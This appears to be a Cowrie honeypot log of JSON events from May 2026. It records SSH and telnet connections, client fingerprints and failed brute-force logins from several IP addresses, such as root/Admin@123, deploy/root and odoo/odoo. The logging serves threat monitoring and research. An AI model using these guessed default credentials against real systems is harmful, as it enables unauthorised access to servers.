{"eventid":"cowrie.session.closed","duration":33.60809659957886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:38.851687Z","src_ip":"62.210.97.77","session":"9697c4896637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:39.336339Z","src_ip":"176.65.132.254","session":"c0fb270f5e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.879030227661133,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:39.454337Z","src_ip":"134.209.8.29","session":"8ab8e60b5a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5479633808136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:40.274362Z","src_ip":"62.210.97.77","session":"fea393dfff69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080692768096924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:40.798968Z","src_ip":"62.210.97.77","session":"38c674c38896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45638,"dst_ip":"10.17.0.5","dst_port":23,"session":"39957e26cd6e","protocol":"telnet","message":"New connection: 62.210.97.77:45638 (10.17.0.5:23) [session: 39957e26cd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:41.037420Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40128,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8d4d766044","protocol":"ssh","message":"New connection: 176.65.132.254:40128 (10.17.0.5:22) [session: fe8d4d766044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:41.641801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:41.647309Z","src_ip":"176.65.132.254","session":"fe8d4d766044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:41.744854Z","src_ip":"176.65.132.254","session":"fe8d4d766044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:42.200708Z","src_ip":"176.65.132.254","session":"fe8d4d766044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.15872073173523,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:42.986188Z","src_ip":"65.60.27.33","session":"1d0d6fa2b54a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:43.284859Z","src_ip":"176.65.132.254","session":"fe8d4d766044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.217505931854248,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:43.382790Z","src_ip":"38.54.119.93","session":"ffe3a8fdf0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.16988825798035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:44.157904Z","src_ip":"65.60.27.33","session":"06855e6bda90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17630,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8eb81f0fd2","protocol":"ssh","message":"New connection: 190.129.122.12:17630 (10.17.0.5:22) [session: 2d8eb81f0fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:44.406592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:44.412205Z","src_ip":"190.129.122.12","session":"2d8eb81f0fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6108455657959,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:44.539594Z","src_ip":"62.210.97.77","session":"23fba345fde1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:44.578820Z","src_ip":"190.129.122.12","session":"2d8eb81f0fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12","message":"login attempt [dev/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:45.274859Z","src_ip":"190.129.122.12","session":"2d8eb81f0fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"26226af1397c","protocol":"telnet","message":"New connection: 62.210.97.77:45654 (10.17.0.5:23) [session: 26226af1397c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:45.417979Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3694eaae610a","protocol":"ssh","message":"New connection: 176.65.132.254:43824 (10.17.0.5:22) [session: 3694eaae610a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:45.635845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:45.640256Z","src_ip":"176.65.132.254","session":"3694eaae610a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:45.741436Z","src_ip":"176.65.132.254","session":"3694eaae610a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:46.037003Z","src_ip":"176.65.132.254","session":"3694eaae610a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49cebba85c5","protocol":"telnet","message":"New connection: 134.209.8.29:59462 (159.203.135.109:23) [session: c49cebba85c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:46.236091Z"}
{"eventid":"cowrie.session.closed","duration":50.891765117645264,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:46.422806Z","src_ip":"38.54.119.93","session":"d06e5fd8a705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:46.444181Z","src_ip":"190.129.122.12","session":"2d8eb81f0fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.852503538131714,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:46.730685Z","src_ip":"62.210.97.77","session":"aea1c4a33bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:47.120556Z","src_ip":"176.65.132.254","session":"3694eaae610a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.98990058898926,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:47.556861Z","src_ip":"134.209.8.29","session":"5df61ebf0884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45656,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30a1473ab15","protocol":"telnet","message":"New connection: 62.210.97.77:45656 (10.17.0.5:23) [session: f30a1473ab15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:48.196872Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ab0282a21a","protocol":"telnet","message":"New connection: 62.210.97.77:45660 (10.17.0.5:23) [session: a2ab0282a21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:48.263832Z"}
{"eventid":"cowrie.session.closed","duration":35.936238288879395,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:48.554565Z","src_ip":"62.210.97.77","session":"2e3d7b3dd279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43836,"dst_ip":"10.17.0.5","dst_port":22,"session":"26a047d3765b","protocol":"ssh","message":"New connection: 176.65.132.254:43836 (10.17.0.5:22) [session: 26a047d3765b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:49.657291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:49.666120Z","src_ip":"176.65.132.254","session":"26a047d3765b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:49.749923Z","src_ip":"176.65.132.254","session":"26a047d3765b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60738,"dst_ip":"10.17.0.5","dst_port":23,"session":"319a0f6516b1","protocol":"telnet","message":"New connection: 62.210.97.77:60738 (10.17.0.5:23) [session: 319a0f6516b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:49.789217Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:50.020305Z","src_ip":"176.65.132.254","session":"26a047d3765b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc6ab656222","protocol":"telnet","message":"New connection: 62.210.97.77:60746 (10.17.0.5:23) [session: 1cc6ab656222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:50.234722Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41468,"dst_ip":"10.17.0.5","dst_port":23,"session":"df783836d593","protocol":"telnet","message":"New connection: 65.60.27.33:41468 (10.17.0.5:23) [session: df783836d593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:50.319656Z"}
{"eventid":"cowrie.session.closed","duration":30.78935408592224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.102792Z","src_ip":"62.210.97.77","session":"09dca8011e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.109267Z","src_ip":"176.65.132.254","session":"26a047d3765b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42610,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f66aeed1861","protocol":"telnet","message":"New connection: 65.60.27.33:42610 (10.17.0.5:23) [session: 1f66aeed1861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.224818Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":48844,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1935853f8a","protocol":"ssh","message":"New connection: 103.189.235.176:48844 (159.203.135.109:22) [session: ba1935853f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.744584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.750004Z","src_ip":"103.189.235.176","session":"ba1935853f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:51.984492Z","src_ip":"103.189.235.176","session":"ba1935853f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.57144832611084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:52.216514Z","src_ip":"62.210.97.77","session":"11f07b36b556","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"ftp_test","message":"login attempt [ftp_test/ftp_test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:52.952692Z","src_ip":"103.189.235.176","session":"ba1935853f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58260,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6128a639ef","protocol":"ssh","message":"New connection: 176.65.132.254:58260 (10.17.0.5:22) [session: 7a6128a639ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:53.669171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:53.674252Z","src_ip":"176.65.132.254","session":"7a6128a639ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:53.758857Z","src_ip":"176.65.132.254","session":"7a6128a639ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e006abeb0f88","protocol":"telnet","message":"New connection: 62.210.97.77:60748 (10.17.0.5:23) [session: e006abeb0f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:54.002594Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58886,"dst_ip":"159.203.135.109","dst_port":23,"session":"180cc7bbafa2","protocol":"telnet","message":"New connection: 134.209.8.29:58886 (159.203.135.109:23) [session: 180cc7bbafa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:54.019722Z"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:54.173904Z","src_ip":"176.65.132.254","session":"7a6128a639ef","protocol":"ssh"}
